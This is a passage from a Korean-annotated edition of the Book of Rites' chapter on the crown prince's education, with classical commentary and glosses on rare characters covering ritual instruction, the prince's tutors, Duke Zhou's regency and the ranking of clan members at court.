而未能行涖阼之事하니 書曰'小子.同未在位라'하니, 亦言其雖已在位나 與未在位同也라. 故.周公以冢宰,攝政하야 相助成王하야 踐履其臨阼之事,而治天下호대, 以幼年,卽尊位하야 而不知.父子,君臣,長幼之道하니, 何以治天下哉리요? 故,周公이 擧世子,事君親長上之法하야 以敎伯禽하야 使日夕與成王,遊處하야, 俾其有所視效也하고. 其或成王,出入起居之間에 有愆乎禮法者에 則撻伯禽하야 以責其不能尽事君之道하니, 所以警敎成王하야 而示之以爲世子之道也라. 然,伯禽所行은 卽文王,所行世子之道요, 文王所行은 乃諸侯世子之禮라. 故,曰文王之爲世子也라 하니 言伯禽所行이 非王世子之禮也이니라.\n[嚴陵方氏曰涖阼臨朝也阼者主人所有事之階故適子冠於阼以著代則繼體之臨朝行事謂之涖阼亦宜矣涖言以位臨之踐言以足履之成王主也故於阼曰涖周公相之而已故於阼曰踐此輕重之別也世子於屬則子也於位則臣也於齒則幼也知爲子然後能爲父知爲臣然後能爲君知爲幼然後能爲長故抗世子法於伯禽欲令成王之知父子君臣長幼之道也然其序則先父子而後君臣者內外之序也先君臣而後長幼者上下之序也於伯禽言法於成王言道者蓋法則下之所守道則上之所揆][涖:임할리][阼:동계저]\n2-1. 凡學[四學字皆音效]世子及學士호대 必時니 春夏 學干戈하고 秋冬엔 學羽籥호대 皆於東序니라.[250]\n學은 敎也라. 士는 卽王制.所謂司徒.論俊選而升於學之士也라. 必時는 四時.各有所敎也라. 干은 盾也니 捍兵難之器요, 戈은 句矛戟也요, 羽은 翟雉之羽也요, 籥은 笛之屬也니, 四物은 皆舞者所執이로대 干戈.爲武舞라. 故,於陽氣發動之時에 敎之하니 示有事也요, 羽籥은 爲文舞라. 故,於陰氣凝寂之時에 敎之하니 示安靜也라. 東序는 大學也라.\n[山陰陸氏曰先王之制舞也文必以羽籥武必以干戚者蓋籥聲也羽容也聲音以紀之文物以昭之者文也故於文舞用之干以扞其內戚以誅其外者武也故於武舞用之][捍:호위할한][翟:꿩적][扞:捍:막을한]\n2-2. 小樂正이 學[二學字皆音效]干하거든 大胥이 贊之하고 籥師이 學戈하거든 籥師丞이 贊之胥이 皷[鼓]南이니라.[251]\n四人은 皆樂官之屬이라. 贊은 相助之也라. 胥卽大胥也라. 南은 南夷之樂也라. 東夷之樂曰昧요, 南夷之樂曰南이요, 西夷之樂曰朱離요, 北夷之樂由禁이니, 明堂位에 又云任은 南蠻之樂也라 하니라. 周禮에 旄人이 敎國子.南夷樂之時에 大胥는 則擊鼔하야 以節其音曲이라. 故,云胥皷南也라. 先王作樂이 至矣盛矣사거늘 而猶以遠方蠻夷之樂으로 敎人者는 所以示輿圖之無外.異類之咸賓이요. 奏之宗廟之中은 侈其盛也라. 獨擧南樂이나 則餘三方에 皆敎習을 可知라.\n[長樂劉氏曰周官大司樂以樂舞敎國子舞雲門大卷大咸大磬大夏大濩大武蓋六代聖王神其德行以成變化以參天地載其地德以感神祗者樂與舞存焉故使國子學之由其舞以志厥功由其聲以想厥德然後中和生於誠明而志氣趨于聖智矣故孝友形於中而舞蹈應於外此三代遜于五品無所入而弗自得者敎國子以樂舞行於人倫也東序大學也是以小樂正敎于大胥贊之籥師敎戈籥師丞贊之各用其職以時擧焉胥鼔南者舞以樂爲節者也樂以舞爲成者也故奏六代之舞則合六代之樂先王用之致中和位天地澤四海來百蠻焉乃用四夷之樂以彰德化]\n[○長樂陳氏曰書云比爾干稱爾戈干則直兵而其形欲立戈則句兵而其形欲倒皆自衛之兵非伐人之器也古之敎舞者朱其干玉其戚則尙道不尙事尙德不尙威是以學干在小樂正而以大胥贊之學戈在籥師而以籥師丞贊之干戈之事寓之於樂如此則武不可覿之意覩矣]\n[○山陰陸氏曰干戈兩舞也故各以其官敎之]\n[胥:서로서][皷:鼓俗字][旄:旗깃모][鼔:두드릴고][磬:경쇠경][覿볼적,아뢰다][覩:睹古字:볼도]\n2-3. 春誦하고 夏弦이어든 大師이 詔之瞽宗하며 秋學[如字]禮어든 執禮者이 詔之하야 冬讀書이어든 典書者이 詔之니 禮在瞽宗이요, 書在上庠이니라.[252]\n誦은 口誦歌樂之篇章也요, 弦은 以琴瑟.播被詩章之音節也니, 皆大師.詔告之라. 瞽宗은 殷學名이요, 上庠은 虞學名이니, 周有天下에 兼立虞夏.殷周之學也라.\n[長樂劉氏曰春者陽氣宣吐以生萬物也故宜誦以宣其中和之聲焉夏者陽氣盛大以壯萬物也故宜弦以極其純粹之致焉皆大師之職以敎國子者也]\n[○嚴陵方氏曰誦者人也弦者絲也人之事始於東絲之音屬於南故誦以春而弦以夏禮者體也書者事也體之文成於西事之質辨於北故禮以秋而書以冬此又其別也太師則樂工之所師而爲大者也而樂以陽爲主故以之詔弦誦焉執禮者詔禮典書者詔書亦各以其類也於禮言學於書言讀者皆學而讀之]\n[○長樂陳氏曰此言春誦夏弦秋學禮冬讀書王制言春秋敎以禮樂冬夏敎以詩書者言書禮則知誦之爲詩弦之爲樂言弦誦則知禮之爲行書之爲事也蓋春秋陰陽之中而禮樂皆欲其中故以二中之時敎之凡此合而敎之也分而敎之則誦詩以春弦樂以夏學禮以秋讀書以冬]\n[○馬氏曰禮由陰作而秋者萬物之所歛[斂]而亦陰也故秋學禮書以道事而冬者萬物之所藏而亦事也故冬讀書又曰春夏學干戈秋冬學羽籥者在於大學也王制曰春秋敎以禮樂冬夏敎以詩書者亦在大學也故敎之以詩書禮樂則未嘗不敎之以干戈羽籥也此所以互見之也]\n3-1. 凡祭와 與養老乞言과 合語之禮를 皆小樂正이 詔之於東序니라.[255]\n祭.是一事요, 養老乞言이 是一事요, 合語이 是一事라. 故.以凡.言之라. 養老乞言은 謂行養老之禮之時에 因乞善言之可行者於此老人也요, 合語는 謂祭及養老.與鄕射.鄕飮.大射.燕射之禮至旅酬之時에 皆得言說先王之法하야 合會義理,而相告語也라. 其間에 各有威儀容節하니 皆須小樂正이 詔敎之於東序之中이라.\n[長樂劉氏曰祭謂祀天神祭地祇饗宗廟之禮凡九獻自始及終其儀百出禮意深遠非學弗通而臣子之義致敬以事其君者也苟不素習祭儀預講厥義則與祭執事違悮必多非以致敬也養老者有國之大敎也王者必齊戒盡敬致養乎三老五更所以敎天下之爲人子者孝於其父爲人弟者敬於其兄也旣敎世子以養老之道俾知所以憲也而後敎之以乞言之義謂虛已以納其言也不能憲又不能納民不效之矣合語者謂鄕飮酒也鄕射也大射也燕射也祭饗也燕賓也凡是數禮下自鄕黨上至朝廷莫不行之者有貴賤之禮所以明君臣之道也有尊卑之禮所以明父子之道也有長幼之禮所以明兄弟之道也有陰陽之禮所以明夫婦之道也有賓主之禮所以明朋友之道也惟是五者謂之人倫聖人用之以齊一天下致之中和而正是性命所以育萬物贊天地永固命於無疆者莫不以人倫爲本焉故終日行禮酒盈人渴而不敢飮殽乾人飢而不敢食者以其有合語之禮在其後焉人倫之道因此禮而旣明乃於旅酬之時歡樂之情通而語言之義合焉此君臣所以和同而誠意所以浹洽也]\n[○馬氏曰古者旅酬之際必合之以語而道其禮樂之意以示其和樂而不流安燕而不亂也]\n[祇:공경지,땅귀신기][悮=誤][殽:섞일효,안주]\n3-2. 大樂正이 學[效]舞干戚과 語說[如字]와 命乞言호대 皆大樂正이 授數하여든 大司成이 論說在東序니라.[257]\n戚은 斧也라. 大樂正이 敎世子,及士,以舞干戚之容節과 及合語之說와 與乞言之禮니 此三은 者皆大樂正이 授之以篇章之數라. 於是에 大司成之官이 於東序而論說此授敎者.義理之淺深과 才能之優劣也라.\n[石林葉氏曰三者小樂正詔其威儀而至於度數則大樂正授干戚之數則有俯仰授合語之數則有進退授乞言之數則有升降其在東序者數之始也]\n[○新安王氏曰論說者卽舞干戚語說乞言之數爲講論而詳說之也上所謂干戈羽籥之舞弦誦之歌書禮之文無一不盡而非敎者爲之論說則習其事不明其義誦讀其言不明其指歸與不學無異大司成所以在東序爲之論說也大司成卽大司樂也不謂之大司樂而謂之大司成者以世子及國子之德業大司業敎之使成也]\n[○臨川吳氏曰旣言大樂正授數而又特言大司成論說蓋授數猶未離乎業於論說始可言成也成猶成於樂之成謂敎之之至使其德周完全備無虧欠也]\n4. 凡侍坐於大司成者는 遠近間[平聲]이 三席이면 可以問이니 終則負牆이요, 列事 未盡이어든 不問이니라.[259]\n席廣이 三尺.三寸.三分寸之一이니 三席은 所謂函丈也라. 相對遠近이 如此하니 取其便於咨問이라. 問終則却就後席하야 背負牆壁而坐하야 以避後來問事之人하고 其問事之時에 尊者이 有敎 而已猶未達이면 則必待其言盡然後에 更問하고, 若陳列未竟이면 則不敢先問하여 以參錯尊者之言也라.\n[嚴陵方氏曰可以問者以其聲足以相聞又不至於大逼也曲禮曰先生問焉終則對亦此之意]\n5-1. 凡學은 春에 官이 釋奠于其先師하나니 秋冬에 亦如之니라.[259]\n官은 掌.敎.詩書禮.樂.之官也라. 若春誦夏弦이면 則太師이 釋奠하고, 敎干戈에 則小樂正及樂師이 釋奠也요, 秋學禮,冬讀書에 則其官이 亦如之니라. 釋奠者는 但奠置所祭之物而已요. 無尸,無食飮酬酢等事하니 所以若此者는 以其主於行禮요. 非報功也라. 先師는 謂前代.明習此事之師也라.\n[嚴陵方氏曰釋奠止言三時而不及夏者弦誦一師夏則因春故也]\n[○新安王氏曰先師者習樂有樂之先師習禮有禮之先師讀書有書之先師]\n5-2. 凡始立學者이 必釋奠于先聖.先師호대 及行事하야 必以幣니라.[261]\n諸侯이 初受封에 天子이 命之敎일새 於是立學하니 所謂始立學也라. 立學,事重이라. 故,釋奠于先聖,先師하니 四時之敎이 常事耳라. 故,惟釋奠于先師요, 而不及先聖也라. 行事는 謂行釋奠之事요, 必以幣는 必奠幣爲禮也라. 始立學.而行釋奠之禮에 則用幣하고 四時常奠엔 不用幣也니라..\n[長樂陳氏曰四時釋奠止於先師始立學釋奠則及於先聖者德之小者親而不尊故其祭數德之大者尊而不親故其祭疏]\n[○馬氏曰必以幣者有以加其禮也]\n5-3. 凡釋奠者는 必有合也니 有國故어든 則否니라. 凡大合樂엔 必遂養老니라.[262]\n凡行釋奠之禮에 必有合樂之事로대 若國有凶喪之故에 則雖釋奠이나 不合樂也라. 常事에 合樂호대 不行養老之禮하고 惟大合樂之時에 人君視學.必養老也라. 舊說에 合者는 謂.若本國에 無先聖先師면 則合祭隣國之先聖先師하고, 本國에 故有先聖先師를 如魯有孔顔之類이면 則不合祭.隣國之先聖先師也라하니 未知是否로다.\n[嚴陵方氏曰師不必聖聖則師可知必始立學然後及於先聖者重其始固也釋奠之有合非大合也大合樂謂天子視學之時也故言必遂養老後言遂設三老五更群老之席位者以此]\n[○石林葉氏曰天子一入學而所敎者三釋奠以敎其重道也合樂以敎其崇德也養老以敎其致孝也三代盛時貴游子弟皆能秉禮出封於外足以禦亂食采於內足以助治此道素行也]\n6. 凡語于郊者는 必取賢歛[斂]才焉하나니 或以德進,或以事擧하며 或以言揚하며 曲藝를 皆誓之하야 以待又語니 三而一有焉이어든 乃進其等호대 以其序하야 謂之郊人이라하야 遠[去聲]之호대 於成均엔 以及取爵於上尊也니라.[263]\n語于郊者는 論辨學士才能於郊學之中也라. 有賢德者則錄取之하고 有才能者則收歛[斂]之하니 道德이 爲先이요, 事功이 次之요, 言語이 又次之라. 曲藝는 一曲之藝이니 小小技能.若醫卜之屬이라. 誓는 戒謹也라. 學士中에 或無德.無事.無言之可取요, 而有此曲藝之人이 欲投試考課者이어든 皆卻之하야 使退而謹習所能하야 以待後次再語之時하야 乃考評之也라. 三而一有者는 謂此曲藝之人이 擧說三事.而一事이 有可善者라. 乃進其等은 卽於其同等之中에 拔而升進之也라. 然猶必使之.於同輩中에 以所能高下.爲次序하야 使不混其優劣也라. 如此之人을 但止目之曰郊人은 非俊選之比也라. 以非士類라. 故.疎遠之라. 成均은 五帝이 大學之名이니 天子이 設四代之學이라. 上尊은 堂上之酒尊也라. 若天子이 飮酒於成均之學宮에 此郊人이 雖賤이나 亦得取爵於堂上之尊하야 以相旅勸焉하니 所以榮之也라. 人字.之字에 均字면 皆句絶이라.\n[嚴陵方氏曰必取賢歛[斂]才於郊學如此則國學可知矣夫自外入內謂之進自下升上謂之擧自隱之顯謂之揚德成而上事成而下故先德而後事事者言之實言者事之文故先事而後言藝謂之曲則以在道之一曲故也謂之郊人以其非有長民之美猶近乎鄙故也藝成而下非君上之所宜近故曰遠之也]\n[○長樂陳氏曰或以德進則不必事也或以事擧則不必言也語曰德行言語政事德進所謂德行也事擧所謂政事也言揚所謂言語也聖人不求全不貴備意與此同又曰曲藝皆誓者法也三而有一乃進恩也謂之郊人法也於成均以取爵亦恩也恩與法竝行而不偏所以取之雖略無害於賢而用之也]\n[○馬氏曰或以德進或以事擧或以言揚有以見其立賢無方也曲藝皆有以誓之則又有以見其待人之恕也]\n7. 始立學者는 旣興[釁]器用幣하니 然後에 釋菜호대 不舞하며 不授器하고 乃退儐于東序하야 一獻無介語이 可也니 敎世子니라.[266]\n立學之初에 未有禮樂之器러니 及其制作之成.塗釁旣畢에 卽用幣于先聖先師하야 以告此器之成하고, 繼又釋菜하야 以告此器之將用也라. 凡祭祀에 用樂舞者는 則授.舞者以所執之器하니 如干戈羽籥之類今此釋菜이 禮輕하야 旣不用舞라. 故,不授舞器也라. 諸侯有功,德者이 亦得立異代之學이라. 東序는 夏制也니 與虞庠相對하야 東序는 在東하고 虞庠은 在西라. 乃退儐하야 于東序者는 謂釋菜在虞庠之中하야 禮畢에 乃從虞庠而退儐하야 禮其賓於東序之中하니 其禮旣殺하야 惟行一獻하고 無介無語이 於禮,亦可也라. 此以上은 雖不專是敎世子之事나 然.以敎世子爲主라. 故.以此句.總結上文하니라. ○石梁王氏이 曰三字亦衍文이라.\n[長樂陳氏曰凡家造祭器爲先養器爲後國亦如之諸侯之國命之敎而立學者亦必以祭器爲先則興器者造祭器之謂也]\n[○嚴陵方氏曰儐謂事畢而以賓禮接賓一獻則無酬酢之煩無介則無傳命之助無語則無合語之禮凡此又以始立學而事未暇備故也然非以之爲常特可一時而已]\n[釁:틈흔,조짐,그릇에 소피를 발라 지내는 제사(牲血塗器祭)]\n8-1. 凡三王이 敎世子하사대 必以禮樂하시니, 樂은 所以修內也요, 禮는 所以修外也니, 禮樂이 交錯於中하야 發形於外하나니, 是故로 其成也에 懌하야 恭敬而溫文이니라.[268]\n修內者는 消融其邪慝之蘊이요, 修外者는 陶成其恭肅之儀라. 禮之修達於中.樂之修達於外이 所謂交錯於中也라. 有諸中.必形諸外라. 故.其成也懌이니 此䂊字는 與魯論不亦說乎之說.相似하니 旣有恭敬之實德하고 又有溫潤文雅之氣象하니 禮樂之敎이 大矣라.\n[嚴陵方氏曰樂由中出故以之修內禮自外作故以之修外然禮樂蓋人之所固有也先王之敎人豈能責之以其所無哉亦因其所有修之俾勿壞而已兩相合謂之交兩相雜謂之錯溫則不暴文則不野]\n[○馬氏曰禮樂者所以治其內外之道也治內則莫如樂治外則莫如禮故樂所以修內禮所以修外而敎之所始也此禮樂之分也禮樂之交錯於中而發形於外則禮不止於修外樂不止於修內而敎之成也此禮樂之合也是故其成也懌恭敬而溫文其成也懌有以見其內和也恭敬而溫文有以見其外和也溫者以言其有容也文者以言其有別也]\n[○西山眞氏曰三王之敎世子必以禮樂者禮所以起人之敬心敬心生則慢心窒矣樂所以感人之和心和心生則戾心消矣其薰陶德性變化氣質莫妙於此者然樂雖修內由內以達外禮雖修外由外以入中二者醺醲涵暢相與無間故其成也但見其悅懌而已恭敬溫文而已恭者敬之發於外者也敬者恭之主於中者也此皆敎以禮樂之功也]\n[慝:사특할특][蘊:쌓을온,익히다,마름][懌:기쁠역,기껍다,순종하다][䂊:창여][戾:어그러질려,허물,사납다(戾蟲:호랑이)][醺:취할훈.醺醺:술에 취하여 기분이 좋은모양][醲:厚酒농]\n8-2. 立太傅하야 少傅以養之는 欲其知父子․君臣之道也니 太傅은 審父子.君臣之道하야 以示之하고, 少傅은 奉世子하야 以觀太傅之德行[去聲]而審喩之하나니, 太傅이 在前하고, 少傅이 在後하며, 入則有保하고 出則有師라. 是以 敎喩而德成也하나니라. 師也者는 敎之以事 而喩諸德者也요, 保也者는 愼其身하야 以輔翼之而歸諸道者也니라. 記에 曰 虞夏商周이 有師保하며 有疑丞하니 設四輔及三公은 不必備라. 唯其人이라하니 語使能也라.[270]\n養者는 長而成之之謂라. 審喩는 詳審言之하야 使通曉也라. 前後는 以行步言이요, 出入은 以居處言이라. 愼其身은 使之謹守其身也라. 師保疑丞은 四輔也라. 一說에 前疑後丞,左輔右弼이 爲四輔라하니 四輔.與三公은 不必其全備라. 惟擇其可稱職者니 惟其人以上은 皆記文이라. 語는 言也라. 語使能也.一句는 是記者.釋之之辭라. ○朱子이 曰 師保疑丞.疑字는 曉不得하니 想止是有疑卽問他之意라.\n[嚴陵方氏曰禮樂者敎之之道也苟非敎之之人則道不虛行故立太傅少傅以養之養之將以成其才故也內則父子外則君臣人之大倫也敎養之道欲其知此而已保則親也故人則有保師則正也故出則有師然分而言之固如此合而言之則左右前後出入起居師也傅也保也未嘗不在焉]\n[○長樂陳氏曰師則帥以善而使之知保則保其善而使之勿失傅則輔其善而使之成太傅在前少傅在後則師保在左右矣入則有保出則有師則太傅少傅出入皆預矣出入前後莫非正人則目不閱淫色耳不聞優笑居不近庸邪玩不備珍異而所見者正事所聞者正言所行者正道此所以敎喩而德成又曰師敎之以事而喩諸德師氏敎國子以三德三行是也保愼其身以輔翼之而歸諸道保氏養國子以六藝六儀是也虞夏殷周之有師保所謂設三公也有疑丞所謂設四輔也師保謂之三公充其數則有傅疑丞謂之四輔充其數則有輔弼夫能有聖人之能有賢者之能有能者之能也所謂使能者兼聖賢而言之也]\n[○西山眞氏曰立太傅少傅以養之養者從容啓迪以養其本然之善使之自然開悟也然其道無他不過君臣父子之大倫而已太傅以審示言謂修於身以示之也少傅以審喩言謂開說其義以曉之也太傅少傅所以敎者雖同然太傅以身敎少傅以言敎二者蓋互相發也又曰師也者敎世子以事而喩諸德謂敎之以事親之事則知孝之德敎之以事長之事則知弟之德天下無事外之德也保則安護世子之身輔之翼之使歸諸道耳目口體不以欲而動卽所謂道天下無身外之道也古者所謂師保其職蓋如此]]\n[迪:나아갈적][閱:살필열][喩:깨우칠유]\n8-3. 君子曰 德이 德成而敎尊하고 敎尊而官正하고 官正而國治하나니 君之謂也니라.[273]\n君子曰德.此德은 是指世子之德이니 世子之德이 有成에 則敎道尊嚴,而無敢慢易者라. 故.凡居官守者皆以正自處요, 官正而國治하나니 世子爲君之謂也라.\n[嚴陵方氏曰言君子有君國子民之德也蓋敎世子必使爲君子故以是言之德成而敎尊者爲其能重道故也敎尊而官正官正而國治學至於此然後能爲君故曰君之謂也]\n[○馬氏曰官正以言其近國治以言其遠夫德之所成者衆矣而獨言君者蓋有德而無位則敎未必尊官未必正國未必治也有君德而有君位然後可以及此也]\n8-4. 仲尼 曰하사대 昔者에 周公이 攝政하사 踐阼而治하실새, 抗世子法於伯禽은 所以善成王也라. 聞之曰호대 爲人臣者 殺其身하야 有益於君則爲之 況于[迂]其身 以善其君乎 周公이 優爲之시니라.[274]\n前言周公이 相踐阼而治하니 此缺相字.而下文에 又有周公踐阼之言하니 皆記者之失也라. 以世子之法敎世子는 直道也이어늘 今擧世子法於伯禽而敎成王은 是 迂曲其事也라. 人臣이 殺身爲國이라도 猶尙爲之니 今周公이 不過于曲其身之所行하야 以成君之善하니 宜乎優爲之也이니라. ○劉氏이 曰 書蔡仲之命에 曰惟周公位冡宰. 正百工이라하니, 此.言.攝政踐阼而治는 是以冡宰攝行踐阼之政이요, 非謂攝居天子之位也라. 孔子이 言 周公이 擧世子法於伯禽者는 非自敎其子라. 蓋示法以善成王也라. 吾이 聞.古人言爲人臣者이 殺身而有益於君이어든 猶且爲之니 況止. 迂其身以善其君乎아? 此는 大人正己而物正之事니 周公은 大聖人也라. 故優爲之시니라.\n[西山眞氏曰周公抗世子法於伯禽者蓋成王雖幼已爲君矣不可以敎世子者敎之惟以敎世子者敎伯禽使成王覩之是乃所以善成王也][覩:볼도.睹古字]\n[○長樂陳氏曰迂身非直躬者也殺身非迂身者也迂身以善其君者易殺身以有益於君者難爲人臣者於其難者猶且爲之況其易者乎此周公所以優爲之也蓋周公以臣而攝君之政成王以君而學世子之事此爲迂也然不爾不足令成王知君臣長幼之義先儒嘗謂周公之道曲而當者此也]\n8-5. 是故로 知爲人子한 然後에 可以爲人父하며 知爲人臣한 然後에 可以爲人君이며, 知事人한 然後에 能使人이니, 成王이 幼하사 不能涖阼하시나, 以爲世子인댄 則無爲也니, 是故로 抗世子法於伯禽하사 使之與成王居하야 欲令成王之知父子․君臣․長幼之義也이니라. 君之於世子也에 親則父也요 尊則君也니 有父之親하며, 有君之尊한 然後에 兼天下而有之니 是故로 養世子는 不可不愼也니라.[276]\n武王旣崩에 則成王이 無父하니, 雖年幼未知君道이나 若以之爲世子인댄 則無爲子之處矣라. 故云以爲世子則無爲也라. 君於世子에 以親言.則是父요, 以尊言則是君이니, 能盡君父之道하야 以敎其子.然後에 可以保有天下之大니 不然이면 則他日爲子者이 不克負荷矣리니 可不愼乎아?\n[嚴陵方氏曰居君父之位操使令之權其可以不知臣子事人之道哉旣居天子矣又不可以世子之法加之故抗世子法於伯禽使之與成王居欲其相觀而善故也此又繼言長幼而上不言者以事人使人兼之故也]\n[○臨川吳氏曰凡天下之爲人父者於其子雖有父之親而無君之尊也凡天下之爲人君者於其臣雖有君之尊而無父之親也唯君之於世子其親則父其尊則君旣爲之父又爲之君然後能兼天下尊親二者而有之有之謂有父之親有君之尊也彼但有父之親而無君之尊者猶不可不知敎其子況兼親尊二者而有之者其於敎世子而可以不愼乎愼謂盡其心盡其道而不敢忽慢簡略也]\n8-6. 行一物而三善皆得者는 唯世子而已니 其齒於學之謂也라. 故로 世子이 齒於學이어시든 國人이 觀之하고 曰호대 將君我而與我齒讓은 何也오? 曰호대 有父라. 在則禮然이라하나니 然而衆이 知父子之道矣니라. 其二曰 將君我而與我齒讓은 何也오? 曰 有君이 在則禮然이라하나니 然而衆이 著於君臣之義也니라. 其三曰호대 將君我而與我齒讓은 何也오? 曰長長也라하나니 然而衆이 知長幼之節矣라. 故로 父在어시든 斯爲子요, 君在어시든 斯謂之臣이라. 居子與臣之節은 所以尊君親親也니라. 故로 學[音效下二學同]之爲父子焉이며, 學之爲君臣焉이며, 學之爲長幼焉이니, 父子.君臣.長幼之道이 得而國治니라. 語에 曰호대 樂正이 司業하고, 父師이 司成이라. 一有元良이면 萬國이 以貞이라하니, 世子之謂也라하니.[278]\n一物은 一事也니 與國人齒讓之一事也요, 三善은 謂衆人.知父子君臣.長幼之道也라. 君我는 君臨乎我也라. 世子이 與同學之人,讓齒하니, 其不知禮者는 見之而疑하고, 其知禮者는 從而曉之曰 父在之時에 常執謙卑하야 不敢居人之前하니 其禮.當如此也니 如此而衆知父子之道矣라. 其二.其三이 皆此意라. 學之는 敎之也라. 語는 古語也라. 樂正은 主世子詩書之業이요, 父師는 主於成就其德行이라. 一有는 書에 作一人하니 謂世子也라. 世子이 有大善이면 則萬邦.皆正矣니라.\n[長樂陳氏曰經曰雖天子必有尊也以天子尙有所尊而況於民乎故知爲父子則孝知爲君臣則忠知爲長幼則順孝弟忠順立而國治矣]\n[○嚴陵方氏曰齒讓者序齒相讓也父在斯爲子君在斯謂之臣或言爲或言謂之者唯其以天合故直言爲惟其以人合故止言謂之也內則父子外則君臣長幼則內外之所兼有也內外治則國其有不治者乎]\n[○臨川吳氏曰得者謂於父子君臣長幼之道無所失也]\n[○新安王氏曰樂正司業前章所謂大樂正授數是也父師司成所謂太傅少傳有保有師以成世子之德者也]\n[○石林葉氏曰一人元良萬國以貞蓋乾始於元而終於貞世子有君道也體元之善則仁以長人立事之幹則貞以及萬國]\n8-7. 周公이 踐祚하시니라.[281-1]\n石梁王氏이 曰 此이 當爲衍文이라. ○劉氏이 曰 此.四字는 說者이 以下文更端이라. 故.著此以結上文.周公.相踐阼之事라. 然因其缺一相字하야 遂啓明堂位.周公踐天子位之說하고 其後에 馴致新莾,居攝簒漢之禍하니 實此語이 基之니라.\n8-8. 庶子之正於公族者는 敎之以孝弟,睦友,子愛하야 明父子之義와 長幼之序니라.[281-2]\n庶子는 司馬之屬官이라. 正於公族은 爲政於公族也라. 周禮에 庶子이 掌國子之倅이라하니 倅은 副貳也라. 國子는 是公卿大夫士之子이니 副貳其父者也라.\n[長樂陳氏曰言敎世子而繼之以庶子正公族行法自貴者始故也敎之事乎上則以孝第敎之交乎旁則以睦友敎之恤乎下則以子愛]\n[○臨川吳氏曰善事親之孝卽父子之義也善事兄之弟卽長幼之序也睦友子愛皆孝弟之推睦者和於族友者和於弟子者慈於子愛者慈於幼]\n8-9. 其朝于公에 內朝則東西北上이니 臣有貴者니 以齒니라.[282]\n內朝는 路.寢之庭也라. 言公族之人이 若朝見於公之內朝則立於西方而面向東하고, 尊者이 在北하야 以次而南이나, 然.旣均爲同姓之臣則一以昭穆之長幼로 爲序이니, 父兄이 雖賤이나 必居上하고, 子弟이 雖貴나 必處下也라.\n8-10. 其在外朝하야는 則以官이니 司士이 爲之니라.[283-1]\n外朝는 路寢門外之朝也라. 若公族이 朝見於外朝하야 與異姓之臣으로, 雜列則以官之高卑로 爲次序하고 不序年齒也라. 司士는 亦司馬之屬이 主爲朝見之位次者라.\n[馬氏曰內朝以齒則公族有所伸外朝以官則公族有所屈有所伸有所屈皆先王治宗族之道]\n[○嚴陵方氏曰北上則所尊在內也臣有貴者以齒則賤者可知矣自三公而下皆在所司而以士名官者司至於士則朝之所司者悉矣]\n8-11. 其在宗廟之中하야는 則如外朝之位니 宗人授事호대 以爵以官이니라.[283-2]\n宗人之官은 掌禮.及宗廟中授百官以職事者라. 以爵은 隨其爵之尊卑하야 貴者이 在前하고 賤者이 在後也라. 以官은 隨其官之職掌하야 使各供其事也라.\n[長樂陳氏曰外朝主敬宗廟之中亦主敬故在宗廟之中則如外朝之位]\n8-12. 其登餕하야 獻하며 受爵은 則以上嗣니라.[284]\n登은 自堂下而升堂上也라. 餕은 食尸之餘也라. 尸出에 宗人이 使嗣子.及長兄弟로 升堂.相對而餕이라. 也以特牲禮次序로 言之컨대, 先時.祝酌爵觶.奠于鉶南이라가 俟主人.獻內兄弟畢에 長兄弟.及衆.賓長.爲加爵之後에 宗人이 使嗣子로 飮鉶南之奠爵이어든 嗣子이 盥而入拜면 尸.執此奠爵이어든 嗣子이 進受하야 復位而拜면 尸.答拜하고 嗣子飮畢拜尸하면 尸.又答拜니 所謂受爵也요. 嗣子이 又擧所奠爵하야 洗而酌之하야 以入獻尸하면 尸.拜而受이어든 嗣子이 答拜니 所謂獻也요. 無筭爵之後에 禮畢尸出.乃餕하니 此三事者이 受爵은 在先이요. 獻이 次之요. 餕最在後이어늘, 今言.餕獻受爵은 以重在餕故로 逆言之歟인저. 上嗣는 適子之長者이 爲最上也니 此謂士禮요, 大夫之嗣이 無此禮者는 避君也로, 故.少牢禮에 無嗣子擧奠之文하니라.\n[觶:술잔치(鄕飮酒色角),罰爵][鉶:국그릇형][筭=算][牢:우리뢰.굳다,애오라지]\n[山陰陸氏曰內朝親親外朝貴貴在宗廟之中則二者竝隆宗人授事以爵以官貴貴也其登餕獻受爵則以上嗣親親也以官若君執主瓉祼尸大宗執璋瓉亞獻之類以爵若迎牲君執引大夫從士執芻之類也獻者謂上嗣嘗受爵於尸矣己而復酌獻尸也]\n[瓉:제사용옥술잔찬][祼강신할관(祭酌鬯以)(灌과通)][璋(장):끝의 반을 깎아 뾰족하게 한 홀.아들][芻:꼴]\n8-13. 庶子이 治之호대 雖有三命이나 不踰父兄이니라.[286]\n庶子이 治公族.朝內朝之禮에 雖有三命之貴나, 而其位次이 不敢踰越無爵之父兄而居其上은 卽上章所言.臣有貴者.以齒也라. ○疏曰若非內朝요, 其餘會聚則一命은 齒于鄕里라 하니, 謂一命이 尙卑라. 若與鄕里長宿燕食則猶計年也요, 再命은 齒于父族이라 하니, 謂再命이 漸尊이라. 不復與鄕里計年하야 唯高官在上호대 但父族이 爲重이라. 猶計年爲列也요. 三命은 不齒라하니, 謂三命이 大貴라. 則亦不復與父族으로 計年하야 燕會則別席獨坐하야 在賓之東矣라.\n[山陰陸氏曰司士爲之庶子治之者爲之以禮治之以義也蓋司士爲之以禮恩也故庶子治之以義雖有三命不踰父兄據此進齒一等方其以爵以官嫌齒太陵故也先王所以均節仁義使恩恊理稱世無得議焉凡以此]\n8-14. 其公大事엔 則以喪服之精麤로 爲序하나니 雖於公族之喪이라도 亦如之호대 以次主人이니라.[287]\n此는 謂君喪이니 而庶子이 治其禮事라. 大事는 喪事也라. 臣爲君.皆斬衰나 然.衰制雖同而升數之多寡則 各依本親이니 庶子이 序列位次則辨其本服之精麄하야 使衰麄者로 在前하고 衰精者로 在後非但公喪이 如此公族之內에 有相爲服者이 亦然하니, 蓋亦是庶子이 序其精麄先後之次也라. 麄以次主人者는 謂雖有庶長父兄이 尊於主人이나 亦必次於主人之下는 使主人在上하야 爲喪主也라.\n[嚴陵方氏曰送死足以當大事故謂之大事服輕則於喪者爲疏服重則於喪者爲親以精麄爲序也]\n8-15. 若公이 與族으로 燕인댄 則異姓으로 爲賓하고 膳宰로 爲主人하며 公이 與父兄으로 齒하며 族食은 世降一等이니라.[288]\n公與族人燕食에 亦庶子이 掌其禮니, 族人이 雖衆이나 其初는 一人之身也라. 豈可以賓客之道로 外之리요. 故로 以異姓一人으로 爲賓而使膳宰爲主하야 與之抗禮酬酢하나니 君尊而賓不敢敵也라. 君雖尊而與父兄列位하야 序尊卑之齒者는 篤親親之道也라. 族食은 與族人燕食也라. 世降一等은 謂族이니 